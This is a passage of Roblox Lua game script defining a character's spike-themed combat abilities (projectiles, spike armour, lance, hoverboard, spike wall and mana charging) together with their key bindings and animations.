- if bhit and (proj.Position - bpos).magnitude < 6 then roflz=true break else proj.CFrame=proj.CFrame*cf(0,-6,0)*ca(rd(-0.09),0,0) end
- w() until tyms > 80 or roflz local z08 = 60
- if xx == 1 then Sound(Sounds.Break,2.6,1.4) Explode(proj.CFrame*ca(rd(180),0,0),12,raigcol2,dmge) local smokshiz =pa(m,"","Block",0,0,0,false,false,1,0,"Black")
- smokshiz.CFrame = proj.CFrame it("Smoke",smokshiz) smokshiz.Smoke.Size = 30*sc smokshiz.Smoke.Opacity = 0.4 smokshiz.Smoke.Color = bc("Black").Color game:service'Debris':AddItem(smokshiz,8) end GlowMesh(false,"Sphere",proj,v3(20,20,20),RandomExplosionColor(),cf(rn(-z08*sc,z08*sc)/10,rn(-z08*sc,z08*sc)/10,rn(-z08,z08*sc)/10)) w(3) fade(proj,0.1)
- end) end end) end
- function ShootProjectile(clonz,faic,adjs,dmge,sped,maxm) cw(function()
- local rt=pa(m,"","Block",0,0,0,false,false,1,0,"") rt.Anchored=true
- rt.CFrame = faic local rtc = clonz:Clone'' rtc.Parent = m rtc.Anchored = true
- local tyms=0 local bhit,bpos=nil,nil
- repeat tyms=tyms + 1
- bhit,bpos=ray(rt.Position,rt.Position - (rt.CFrame *cf(0,0,2)).p)
- if bhit and (rt.Position - bpos).magnitude < sped+1 then break else rt.CFrame=rt.CFrame*cf(0,0,-sped) end rtc.CFrame = rt.CFrame*adjs
- w() until tyms > maxm
- if bhit then
- rtc.Velocity=v3(0,0,0) local xx,yy,zz=rtc.CFrame:toEulerAnglesXYZ() rtc.CFrame=cf(bpos) *ca(xx,yy,zz) *cf(0,-rtc.Size.y/9,0)
- if bhit.Anchored then Sound(Sounds.Punch,1,1,rtc) rtc.Anchored=true else local cfz=rtc.CFrame
- rtc.Size=v3(0,0,0) rtc.CFrame=cfz rtc.Anchored=false
- if findhum(bhit.Parent) then stick(rtc,bhit) rtc.CanCollide=false
- local aihu=findhum(bhit.Parent) Sound(Sounds.Smash,1.35,1,rtc) Dmgz(false,aihu,dmge,bhit)
- elseif findhum(bhit.Parent.Parent) then stick(rtc,bhit) rtc.CanCollide=false
- local aihu=findhum(bhit.Parent.Parent) Sound(Sounds.Smash,1.35,1,rtc) Dmgz(false,aihu,dmge,bhit)
- elseif bhit:GetMass() < 500 and findhum(bhit.Parent)==nil and findhum(bhit.Parent.Parent)==nil then
- stick(rtc,bhit) Sound(Sounds.Punch,1,1,rtc) if findclass(bhit,"Weld") < 1 and findhum(bhit.Parent.Parent)==nil then bhit.Velocity=rt.CFrame.lookVector*60 end
- end
- end
- else
- rtc.Parent=nil
- end
- rt:Remove'' w(8) rtc:Remove''
- end) end
- function ShootSpike(poi,theray,colz,mulzx,sc,adjus,istrai,typ,loltors) if mulzx==nil then mulzx=1 end
- cw(function() Sound(Sounds.Slash,1.1,1) local mind,maxd,mind2,maxd2=6,12,3,5
- local spi=pa(c,"","Block",0.6*sc,2*sc,0.6*sc,false,false,0,0,colz) local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- spim.Scale=v3(0.12*sc,3*sc,0.12*sc) spi.Anchored=true if typ==1 then spi.CFrame=cf((loltors.CFrame).p,mou.Hit.p) *adjus
- elseif typ==3 then spi.CFrame=adjus
- elseif typ==2 then if adjus=="random" then spi.CFrame=cf(to.Position,RandomPlayer(spi).Position) else spi.CFrame=loltors.CFrame *adjus end end spi.CFrame=spi.CFrame *ca(rd(-90),0,0)
- if istrai then cw(function() Trail2(4,spi,0.2,colz,0.4*sc,cf(0,-2*sc,0)) end) end
- local bullethit=false
- local tyms=0 if rn(1,20)==rn(1,20) and mulzx > 0 then it("Fire",spi).Heat=-25 end if rn(1,poi)==1 and mulzx > 0 then spi.BrickColor=bc("Navy blue") end
- local minusz=-0.0001 if mulzx < 0 then local fiar=it("Fire",spi) fiar.Heat=-25 fiar.Size=1*sc fiar.Color=bc("Bright red").Color fiar.SecondaryColor=bc("Really red").Color end
- local spid=0.25 if typ==2 then spid=0.01 end
- local divzz=110 if typ==2 then divzz=50 elseif typ==3 then divzz=1500 end
- local tehpos=v3(0,0,0)
- repeat
- tyms=tyms + 2 minusz=(-90/50/divzz)*tyms
- local bhit,bpos=ray(spi.Position,spi.Position - (spi.CFrame *cf(0,-1,0)).p,theray) tehpos=bpos
- if bpos ~= nil and (bpos - (spi.CFrame *cf(0,1,0)).p).magnitude < 24 then bullethit=bhit else spi.CFrame=spi.CFrame *cf(0,8,0) *ca(rd(minusz),0,0) end
- w() until bullethit or spi.Position.y < -300 or tyms > 5000 rtab(sTrail,spi) game:service'Debris':AddItem(spi,4)
- if bullethit then
- if a.a=="Spikes" then if a.b=="Hoverboard" then if achspi then bullethit.Anchored=false end if brkspi then bullethit:BreakJoints() end end end
- spi.Velocity=v3(0,0,0) local xx,yy,zz=spi.CFrame:toEulerAnglesXYZ() spi.CFrame=cf(tehpos) *ca(xx,yy,zz) *cf(0,-spi.Size.y/9,0)
- if bullethit.Anchored then Sound(Sounds.Punch,1,1,spi) spi.Anchored=true else local cfz=spi.CFrame *cf(0,-0*sc,0)
- spi.Size=v3(0,0,0) spi.CFrame=cfz spi.Anchored=false
- if findhum(bullethit.Parent) then stick(spi,bullethit) spi.CanCollide=false local mul=1 if spi:findFirstChild("Fire") then mul=2.5 end
- local aihu=findhum(bullethit.Parent) Sound(Sounds.Smash,1.35,1,spi) if mulzx==-1 then aihu.Health=aihu.Health + maxd else Dmgz(false,aihu,rn(mind*mul,maxd*mul),bullethit) if spi.BrickColor.Name=="Navy blue" then for i=1,10 do Dmgz(false,aihu,rn(mind2*mul,maxd2*mul),bullethit) w(0.9) end end end
- elseif findhum(bullethit.Parent.Parent) then stick(spi,bullethit) spi.CanCollide=false local mul=1 if spi:findFirstChild("Fire") then mul=2.5 end
- local aihu=findhum(bullethit.Parent.Parent) Sound(Sounds.Smash,1.35,1,spi) if mulzx==-1 then aihu.Health=aihu.Health + maxd else Dmgz(false,aihu,rn(mind*mul,maxd*mul),bullethit) if spi.BrickColor.Name=="Navy blue" then for i=1,10 do Dmgz(false,aihu,rn(mind2*mul,maxd2*mul),bullethit) w(0.9) end end end
- elseif bullethit:GetMass() < 500 and findhum(bullethit.Parent)==nil and bullethit.Parent.Parent:findFirstChild("Humanoid")==nil then
- stick(spi,bullethit) Sound(Sounds.Punch,1,1,spi) if findclass(bullethit,"Weld") < 1 and bullethit.Parent.Parent:findFirstChild("Humanoid")==nil then bullethit.Velocity=(spi.CFrame*ca(rd(90),0,0)).lookVector*60 end
- end
- end
- else
- spi.Parent=nil
- end
- end)
- end
- function NormalPose(inc) cw(function() c1(tw,inc,3,0,0,0,0,0,0) end) cw(function() c1(llw,inc,3,-0.5,-1,0,0,0,0) end)
- cw(function() c1(rlw,inc,3,0.5,-1,0,0,0,0) end) cw(function() c1(law,inc,3,-1.5,1,0,0,0,0) end) c1(raw,inc,3,1.5,1,0,0,0,0) end
- a.Act=function(k,ccz)
- if ccz then
- if k=="x" then a.c=false
- a.a="Spikes"
- for i=1,18 do
- local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- local spiw=weld(spi,t,spi,rn(-8,8)/10,rn(-8,8)/10,0,rd(rn(60,120)),0,rd(rn(-30,30)))
- cw(function() for i=0,1,0.1 do if rn(1,21)==1 then Sound(Sounds.Unsheath,rn(9,16)/10,1) end spiw.C0=spiw.C0 *cf(0,0.17,0) spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end)
- end
- for i=1,2 do local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- local spiw=weld(spi,la,spi,0.2,-i/1.1+(0.7),-0.25,rd(-45),0,rd(120)) cw(function() for i=0,1,0.1 do spiw.C0=spiw.C0 *cf(0,0.14,0) spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end) end
- for i=1,2 do local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike local spiw=weld(spi,ra,spi,-0.2,-i/1.1+(0.7),-0.25,rd(-45),0,rd(-120))
- cw(function() for i=0,1,0.1 do spiw.C0=spiw.C0 *cf(0,0.14,0) spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end) end
- for i=1,2 do local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- local spiw=weld(spi,ll,spi,0.2,-i/1.1+(0.2),-0.3,0,rd(50),rd(70)) cw(function() for i=0,1,0.1 do spiw.C0=spiw.C0 *cf(0,0.14,0) spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end) end
- for i=1,2 do local spi=pa(Misc[k],"","Block",0,0,0,false,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike local spiw=weld(spi,rl,spi,-0.2,-i/1.1+(0.2),-0.3,0,rd(-50),rd(-70))
- cw(function() for i=0,1,0.1 do spiw.C0=spiw.C0 *cf(0,0.14,0) spim.Scale=v3(0.25,i*4,0.25) w() end a.c=true end) end
- elseif k=="c" and a.a=="None" and a.c and a.b=="None" then a.c=false a.a="Champion"
- Armz(false) hu.WalkSpeed=ns*1.2
- cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.15,3,1.3,1,-0.2,30,0,-18)
- cw(function() Sound(Sounds.Abscond,0.9,1) local spi=pa(m,"","Block",0,0,0,false,false,0.2,0,raigcol2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Crown
- spim.Scale=v3(4,5,4) spi.CFrame=t.CFrame *cf(0,-2,0) for i=1,30 do spim.Scale=v3(4+(i/3),5-(i/12),4+(i/3)) spi.Transparency=0.2+((0.8/30)*i)spi.CFrame=spi.CFrame *ca(0,rd(25),0) w() end spi:Remove''
- end)
- a.c=true Legb2=true Legz(false) Legb=true
- elseif k=="v" and a.a=="None" and a.c and a.b=="None" then a.c=false
- Armz(false) hu.WalkSpeed=ns*0.75 Misc[k]=it("Model",m)
- cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.15,3,1.5,1,-0.2,-40,0,12)
- CreateLance() a.c=true Legb2=true Legz(false) Legb=true a.a="Lance"
- a.s.Lance(true) cw(function() repeat if a.b=="None" and mp > 10 then mp=mp-0.05 end w() until a.a~="Lance" end)
- end
- else
- if k=="x" and a.a=="Spikes" and a.b=="None" and a.c then a.c=false a.a="None"
- for zi,v in pairs(Misc[k]:children()) do
- cw(function()
- for i=1,0,-0.1 do if rn(1,35)==1 then Sound(Sounds.Unsheath,rn(9,16)/10,1) end
- v.Weld.C0=v.Weld.C0 *cf(0,-0.17,0) v.Mesh.Scale=v3(0.1,i*4,0.1)
- w()
- end v:Remove'' a.c=true end)
- end
- elseif k=="c" and a.a=="Champion" and a.b=="None" and a.c then a.c=false a.a="None"
- Legz(false) Armz(false) hu.WalkSpeed=ns NormalPose(0.1) Legz(true) Armz(true) a.c=true
- elseif k=="v" and a.a=="Lance" and a.b=="None" and a.c then a.c=false a.a="None"
- Legz(false) Armz(false) local rr=false a.s.Lance(false) local k="v"
- cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) cw(function() c1(raw,0.03,3,1.5,0.5,-0.2,-100,-30,0) end)
- cw(function() for i,v in pairs(Misc[k]:children()) do if v.Name=="spiek" then cw(function() local maxc=v.Mesh.Scale maxcc=v.Weld.C1.y for i=1,0,-0.1 do v.Weld.C1=v.Weld.C1 * cf(0,maxcc*0.1,0) v.Mesh.Scale=v3(maxc.x*i,maxc.y*i,maxc.z*i) w() end v:Remove'' end) end end end)
- cw(function() local smc=Misc[k].shield.Mesh.Scale for xi=1,0,-0.1 do Misc[k].shield.Mesh.Scale=smc*xi w() end Misc[k].shield:Remove'' end)
- cw(function() Sound(Sounds.Unsheath,1.4,1) local smc=Misc[k].spiketip.Mesh.Scale for xi=1,0,-0.2 do Misc[k].spiketip.Mesh.Scale=smc*xi Misc[k].spiketip.Weld.C1=cf(0,-4*xi,0) w() end Misc[k].spiketip:Remove''
- Sound(Sounds.Unsheath,1.4,1) smc=Misc[k].spike.Mesh.Scale for xi=1,0,-0.1 do Misc[k].spike.Mesh.Scale=smc*xi Misc[k].spike.Weld.C1=cf(0,-5.2*xi,0) w() end Misc[k].spike:Remove''
- Sound(Sounds.Unsheath,1.4,1) smc=Misc[k].han2.Mesh.Scale for xi=1,0,-0.1 do Misc[k].han2.Mesh.Scale=smc*xi Misc[k].han2.Weld.C0=cf(0,-1.5*xi,0) w() end Misc[k].han2:Remove''
- Sound(Sounds.Unsheath,1.4,1) smc=Misc[k].han.Mesh.Scale for xi=1,0,-0.1 do Misc[k].han.Mesh.Scale=smc*xi w() end Misc[k].han:Remove'' rr=true end)
- local hanw=Misc[k].han.Weld Sound(Sounds.Slash,0.35,1) for i=1,0,-0.05 do hanw.C1=cf(0,0.3+(0.5*i),0) *ca(rd(180*i),0,rd(45*i)) w() end
- repeat w() until rr Misc[k]:Remove''
- hu.WalkSpeed=ns NormalPose(0.1) Legz(true) Armz(true) a.c=true
- elseif mp >= 50 and k=="e" and a.a=="Spikes" and a.b=="None" then a.b="SideSlash" a.c=false mp=mp - 50
- Armz(false)
- cw(function() c1(law,0.16,3,-1.2,1,-0.2,40,0,40) end)
- cw(function() c1(tw,0.1,0,0,0,0,0,-40,0) end)
- c1(raw,0.16,3,1.2,1,0.2,50,0,50) Sound(Sounds.Unsheath,1.2,1)
- local spi=pa(m,"","Block",0.3,6,0.3,false,false,0,0,"Dark green") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- spim.Scale=v3(0.2,6,0.2)
- local spiw=weld(spi,ra,spi,0,-2,2,rd(90),0,0)
- c1(raw,0.16,3,1.5,1,0,0,0,-40) Sound(Sounds.Slash,0.9,1)
- rayHit(1.2,1,ra,ca(rd(-90),0,0),3.2,15,35)
- cw(function() Trail(spi,8,0.04,"New Yeller",0.6,cf(0,3,0)) end)
- cw(function() c1(tw,0.08,0,0,0,0,0,45,0) end)
- cw(function() c1(spiw,0.1,0,0,-3.6,-1,210,0,0) end)
- c1(raw,0.08,3,1.3,0.6,-0.5,-160,0,-80)
- cw(function() c1(tw,0.08,0,0,0,0,0,0,0) c1(law,0.16,3,-1.5,1,0,0,0,0) end)
- c1(raw,0.08,3,1.2,1,0.2,50,0,50) spi:Remove'' c1(raw,0.16,3,1.5,1,0,0,0,0)
- Armz(true)
- a.b="None" a.c=true
- elseif k=="c" and a.a=="Spikes" and a.b=="None" and a.c then a.c=false a.c=true a.b="Sit" hu.WalkSpeed=0
- Legz(false) Armz(false)
- cw(function() c1(llw,0.1,3,-0.5,-1,-0.3,-80,-20,0) end)
- cw(function() c1(rlw,0.1,3,0.5,-1,-0.3,-80,20,0) end)
- cw(function() c1(law,0.1,3,-1.3,1,0,15,0,15) end)
- cw(function() c1(raw,0.1,3,1.3,1,0,15,0,-15) end)
- c1(tw,0.1,3,0,-1.5,0.35,-15,0,0)
- elseif k=="c" and a.a=="Spikes" and a.b=="Sit" and a.c then a.c=false hu.WalkSpeed=ns NormalPose(0.08) Legz(true) Armz(true) a.c=true a.b="None"
- elseif mp >= 6 and k=="f" and a.a=="Spikes" and a.b=="None" then a.b="SpikeShoot" a.c=false
- Armz(false)
- cw(function() c1(law,0.1,3,-1.1,0.55,0,-85,20,0) end) c1(raw,0.1,3,1.1,0.55,0,-85,-20,0)
- cw(function() Trail2(9999,la,0.1,la.BrickColor.Name,0.4,cf(0,-5,0)) Trail2(9999,ra,0.1,ra.BrickColor.Name,0.4,cf(0,-5,0)) repeat w(0.04) if rn(1,3)==2 then Sound(Sounds.Slash,1.2,1) end c1(law,1,3,-1.1,0.55,0,-85+rn(-55,55),20+rn(-15,15),0) c1(raw,1,3,1.1,0.55,0,-85+rn(-55,55),-20+rn(-15,15),0) until mp < 6 or ky=="f" rtab(sTrail,la) rtab(sTrail,ra) end)
- repeat mp=mp - 6 ShootSpike(15,nil,"New Yeller",50,rn(8,24)/10,ca(0,0,0),true,1,t) w(0.3) until mp < 6 or ky=="f"
- cw(function() c1(law,0.1,3,-1.5,1,0,0,0,0) end) c1(raw,0.1,3,1.5,1,0,0,0,0)
- Armz(true) a.b="None" a.c=true
- elseif mp >= 30 and k=="q" and a.a=="Spikes" and a.b=="None" then a.b="Flip" a.c=false
- Legz(false) Armz(false) mp=mp - 30
- cw(function() c1(llw,0.1,3,-0.5,-0.4,-0.3,55,0,8) end)
- cw(function() c1(rlw,0.1,3,0.5,-0.7,-0.3,55,0,-8) end)
- cw(function() c1(law,0.1,3,-1.3,1,-0.2,60,0,15) end)
- cw(function() c1(raw,0.1,3,1.3,1,-0.2,60,0,-15) end) c1(tw,0.1,3,0,-0.8,0,-30,0,0) hu.WalkSpeed=ns*1.75
- cw(function() c1(tw,0.036,3,0,0,0,360,0,0) cleanweld(tw,"a1") end)
- local bf=it("BodyForce",t) bf.force=v3(0,10000,0) game:service'Debris':AddItem(bf,0.165) Sound(Sounds.Slash,1.2,1)
- w(0.1) if Button and mp >= 70 then mp=mp - 70 cw(function() c1(law,0.2,3,-1.3,1,-0.2,-170,0,-15) end)
- cw(function() c1(raw,0.2,3,1.3,1,-0.2,-170,0,15) end) for zx=1,6 do ShootSpike(15,nil,"Navy blue",1,2,to.CFrame*ca(rd(-80),0,0),true,3,t) w(0.06) end else w(0.08*6) end hu.WalkSpeed= ns
- cw(function() c1(llw,0.2,3,-0.5,-1,0,0,0,0) end)
- cw(function() c1(rlw,0.2,3,0.5,-1,0,0,0,0) end)
- cw(function() c1(law,0.2,3,-1.5,1,0,0,0,0) end) c1(raw,0.2,3,1.5,1,0,0,0,0)
- Legz(true) Armz(true) a.b="None" a.c=true
- elseif mp < maxmp and k=="z" and a.a=="Spikes" and a.b=="None" then a.b="Charge" a.c=false
- hu.WalkSpeed=0 Armz(false)
- local mz=it("Model",m)
- for xi=1,360,360/8 do
- local spi=pa(mz,"","Block",1,6,1,true,false,0,0,"New Yeller") spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- spim.Scale=v3(1,6,1) spi.CFrame=t.CFrame *ca(0,rd(xi),0) *cf(0,0,10) *cf(0,-7,0) *ca(rd(rn(-5,5)),0,rd(rn(-5,5)))
- cw(function() for x=1,12,1 do spi.CFrame=spi.CFrame *cf(0,0.5,0) w() end end)
- cw(function() repeat w() until ky=="z" or mp >= maxmp for x=1,12,1 do spi.CFrame=spi.CFrame *cf(0,-0.5,0) w() end mz:Remove'' end)
- end
- for xi=-1,1,2 do
- local spi=pa(mz,"","Block",1,10,1,true,false,0,0,"New Yeller") spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- spim.Scale=v3(1.2,10,1.2) spi.CFrame=t.CFrame *cf(xi*2.2,0,-2) *cf(0,-11,0)
- cw(function() for x=1,20,1 do spi.CFrame=spi.CFrame *cf(0,0.5,0) w() end end)
- cw(function() repeat w() until ky=="z" or mp >= maxmp for x=1,20,1 do spi.CFrame=spi.CFrame *cf(0,-0.25,0) w() end mz:Remove'' end)
- end
- local spi=pa(mz,"","Block",0,0,0,false,false,1,0,raigcol) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Crown
- spim.Scale=v3(8,3,8) spi.CFrame=t.CFrame *cf(0,-2,0) local spi2=pa(mz,"","Block",0,0,0,false,false,1,0,raigcol) spi2.Anchored=true local spi2m=it("SpecialMesh",spi2) spi2m.MeshType="FileMesh" spi2m.MeshId=asset .. Decs.Crown
- spi2m.Scale=v3(16,6,16) spi.CFrame=t.CFrame *cf(0,-2,0) spi2.CFrame=spi.CFrame Sound(Sounds.Cast,0.7,1)
- cw(function() cw(function() for i=1,0.5,-0.05 do spi.Transparency=i spi2.Transparency=i w() end end) repeat w() spi.CFrame=spi.CFrame *ca(0,rd(11),0) spi2.CFrame=spi2.CFrame *ca(0,rd(-12),0) until ky=="z" or mp >= maxmp Sound(Sounds.ElectricalCharge,0.8,4) for i=0.5,1,0.05 do spi.CFrame=spi.CFrame *ca(0,rd(11),0) spi2.CFrame=spi2.CFrame *ca(0,rd(-12),0) spi.Transparency=i spi2.Transparency=i w() end spi2:Remove'' spi:Remove'' end)
- cw(function() c1(law,0.06,3,-1.2,0.55,-0.1,-90,-25,0) end) c1(raw,0.06,3,1.2,0.55,-0.1,-90,25,0)
- local tyms=0 repeat tyms=tyms + 1 w() if tyms%15==0 then Sound(Sounds.Cast,1,0.5) end addmp(3.5) until ky=="z" or mp >= maxmp
- cw(function() c1(raw,0.1,3,1.5,1,0,0,0,0) end) c1(law,0.1,3,-1.5,1,0,0,0,0)
- Armz(true) a.c=true a.b="None" hu.WalkSpeed=ns
- elseif mp >= 150 and k=="t" and a.a=="Spikes" and a.b=="None" then a.b="SpinSlash" a.c=false
- Armz(false) mp=mp - 150 hu.WalkSpeed=ns*1.5
- cw(function() c1(law,0.08,3,-1.2,1,0.2,40,0,-30) end) c1(raw,0.08,3,1.2,1,0.2,40,0,30) Sound(Sounds.Unsheath,1.2,1)
- local spi=pa(m,"","Block",0.3,6,0.3,false,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike spim.Scale=v3(0.2,6,0.2) local spiw=weld(spi,ra,spi,0,-2,2,rd(90),0,0)
- local spi1=pa(m,"","Block",0.3,6,0.3,false,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi1) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike spim.Scale=v3(0.2,6,0.2) local spi1w=weld(spi1,la,spi1,0,-2,2,rd(90),0,0)
- cw(function() c1(spiw,0.07,0,0,-4,0,170,0,0) end) cw(function() c1(spi1w,0.07,0,0,-4,0,190,0,0) end)
- cw(function() c1(law,0.07,3,-1,0.6,0,0,0,85) end) c1(raw,0.07,3,1,0.6,0,0,0,-95) w(0.2) DmgHit(99,spi,10,14,2) DmgHit(99,spi1,10,14,2) cw(function() Trail(spi,24,0.05,"Dark green",0.35,cf(0,3,0)) end) cw(function() Trail(spi1,24,0.05,"Dark green",0.35,cf(0,3,0)) end)
- local tru=true local wnd=pa(m,"","Block",14,0,14,false,false,0.3,0,"Dark green") wnd.Anchored=true it("CylinderMesh",wnd).Scale=v3(1,0.1,1) cw(function() repeat w() wnd.CFrame=t.CFrame *cf(0,0.5,0) *ca(rd(rn(-8,8)),0,rd(rn(-8,8))) if rn(1,4)==2 then Sound(Sounds.Spin,1.25,1) end until not tru fade(wnd,0.08) end) c1(tw,0.02,3,0,0,0,0,-360*5,0) tru=false tw.C1=ca(0,0,0)
- cw(function() c1(law,0.08,3,-1.2,1,0.2,40,0,-30) end) hu.WalkSpeed=ns c1(raw,0.08,3,1.2,1,0.2,40,0,30) spi:Remove'' spi1:Remove''
- cw(function() c1(law,0.16,3,-1.5,1,0,0,0,0) end) c1(raw,0.16,3,1.5,1,0,0,0,0)
- a.c=true Armz(true) a.b="None" cleanweld(tw,"a1")
- elseif mp >= 10 and k=="v" and a.a=="Spikes" and a.b=="None" and not hena then a.b="Hoverboard" a.c=false hena = true
- Armz(false) Legz(false)
- local spi=pa(m,"","Block",0.3,10,0.3,true,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike spim.Scale=v3(1.2,10,0.8) local spiw=weld(spi,to,spi,-0.65,-3,0,rd(-80),0,0)
- local spi1=pa(m,"","Block",0.3,10,0.3,true,false,0,0,"New Yeller") local spi1m=it("SpecialMesh",spi1) spi1m.MeshType="FileMesh" spi1m.MeshId=asset .. Decs.Spike spi1m.Scale=v3(1.2,10,0.8) local spi1w=weld(spi1,to,spi1,0.65,-3,0,rd(-80),0,0)
- local spi2=pa(m,"","Block",0,0,0,false,false,0,0,"New Yeller") local spi2m=it("SpecialMesh",spi2) spi1m.MeshType="FileMesh" spi2m.MeshId=asset .. Decs.Spike spi2m.Scale=v3(0.6,6,0.6) local spi2w=weld(spi2,to,spi2,0,-3.5,-1.5,rd(-96),0,0)
- local bpt=it("BodyPosition",to) bpt.position=to.Position bpt.maxForce=v310
- local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=1250 hu.PlatformStand=true
- cw(function() c1(law,0.07,3,-1,0.5,0,0,0,83) end) cw(function() c1(raw,0.07,3,1,0.5,0,0,0,-97) end)
- cw(function() c1(llw,0.07,3,-0.5,-1,0,-20,0,25) end) cw(function() c1(rlw,0.07,3,0.5,-1,0,-20,0,-25) end)
- c1(tw,0.07,3,0,0,0,15,90,0) Trail2(9999,spi,0.15,"New Yeller",1.8,cf(0.6,-5,0))
- repeat local lulzspid=-a.ClickHold*2.5 if lulzspid < -50 then lulzspid=-50 end
- bpt.position=(to.CFrame *cf(0,0,-fsp+(lulzspid))).p bgt.cframe=cf(to.Position,mou.Hit.p) mp=mp - 0.5 w() until not hena or mp < 1
- hena=false fsp=dfsp bpt:Remove'' bgt:Remove'' hu.PlatformStand=false rtab(sTrail,spi) local spisc=spim.Scale local spisc2=spi2m.Scale
- for i=1,0,-0.1 do spim.Scale=spisc*i spi1m.Scale=spisc*i spi2m.Scale=spisc2*i w() end
- spi:Remove'' spi1:Remove'' spi2:Remove'' a.c=true NormalPose(0.08) Armz(true) Legz(true) a.b="None"
- elseif mp >= 60 and k=="u" and a.a=="Spikes" and a.b=="None" then a.b="SpikeWall" a.c=false
- Armz(false) Legz(false) mp=mp - 60 hu.WalkSpeed=0 Sound(Sounds.Cast,1.5,1) w(0.25)
- cw(function() c1(law,0.06,3,-1.2,0.8,0,30,0,40) end) cw(function() c1(raw,0.06,3,1,0.5,-0.6,-55,0,10) end)
- cw(function() c1(llw,0.06,3,-0.5,1.1,-0.7,-20,0,10) end) cw(function() c1(rlw,0.06,3,0.5,-0.4,0,50,0,-10) end)
- c1(tw,0.06,3,0,-1.8,0,30,0,0) Sound(Sounds.Smash,0.26,1)
- for i=-12,12,2 do w()
- local spi=pa(workspace,"","Block",3,20,3,true,false,0,0,"New Yeller") spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike spim.Scale=v3(2,29,2)
- SplashDmg(false,(to.CFrame *cf(i,-1,-8) *cf(0,0,ab(-i/2.5))).p,8,8,30) spi.CFrame=to.CFrame *cf(i,-20,-8) *cf(0,0,ab(-i/2.5)) cw(function() for i=1,20 do spi.CFrame =spi.CFrame *cf(0,1,0) w() end end) game:service'Debris':AddItem(spi,32)
- end
- hu.WalkSpeed=ns NormalPose(0.08)
- Armz(true) Legz(true) a.b="None" a.c=true
- elseif mp >= 8 and k=="g" and a.a=="Spikes" and a.b=="None" then a.b="SpikeCannon" a.c=false
- Armz(false) Legz(false)
- cw(function() c1(law,0.06,3,-1.2,0.8,0,-30,0,40) end) cw(function() c1(raw,0.06,3,1.2,0.8,0,-30,0,-40) end)
- cw(function() c1(llw,0.06,3,-0.5,-0.8,0,-10,0,0) end) cw(function() c1(rlw,0.06,3,0.5,-0.8,0,-10,0,0) end)
- c1(tw,0.06,3,0,-0.3,0,10,0,0)
- repeat
- w(0.2) ShootSpike(15,nil,"New Yeller",1,rn(10,28)/10,cf(rn(-22,22)/10,rn(-22,22)/10,0)*ca(rd(9),0,0)*ca(0,rd(180),0),false,2,t) mp=mp - 8 until ky=="g" or mp < 1
- NormalPose(0.08)
- Armz(true) Legz(true) a.b="None" a.c=true
- elseif mp >= 600 and k=="b" and a.a=="Spikes" and a.b=="None" then a.b="SpikeRoll" a.c=false
- Armz(false) Legz(false) hu.WalkSpeed=ns*3.5 mp=mp - 600 local spiks={}
- for i=1,30 do
- local spi=pa(m,"","Block",0,0,0,false,false,0,0,"New Yeller") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- spim.Scale=v3(0,0,0)
- local spiw=weld(spi,t,spi,rn(-10,10)/10,rn(-10,10)/10,rn(-10,10)/10,rd(rn(-360,360)),0,rd(rn(-360,360)))
- table.insert(spiks,spiw) cw(function() for i=0,2,0.1 do spiw.C0=spiw.C0 *cf(0,0.17,0) spim.Scale=v3(0.5,i*4,0.5) w() end end)
- end
- cw(function() c1(llw,0.1,3,-0.5,-0.8,-0.6,65,0,8) end)
- cw(function() c1(rlw,0.1,3,0.5,-0.8,-0.6,65,0,-8) end)
- cw(function() c1(law,0.1,3,-1.3,1,-0.2,65,0,30) end)
- cw(function() c1(raw,0.1,3,1.3,1,-0.2,65,0,-30) end) c1(tw,0.1,3,0,-2,0,0,0,0) local function funnyfiur(zazaz) ShootSpike(15,nil,"New Yeller",1,rn(15,38)/10,zazaz,false,2,to) end
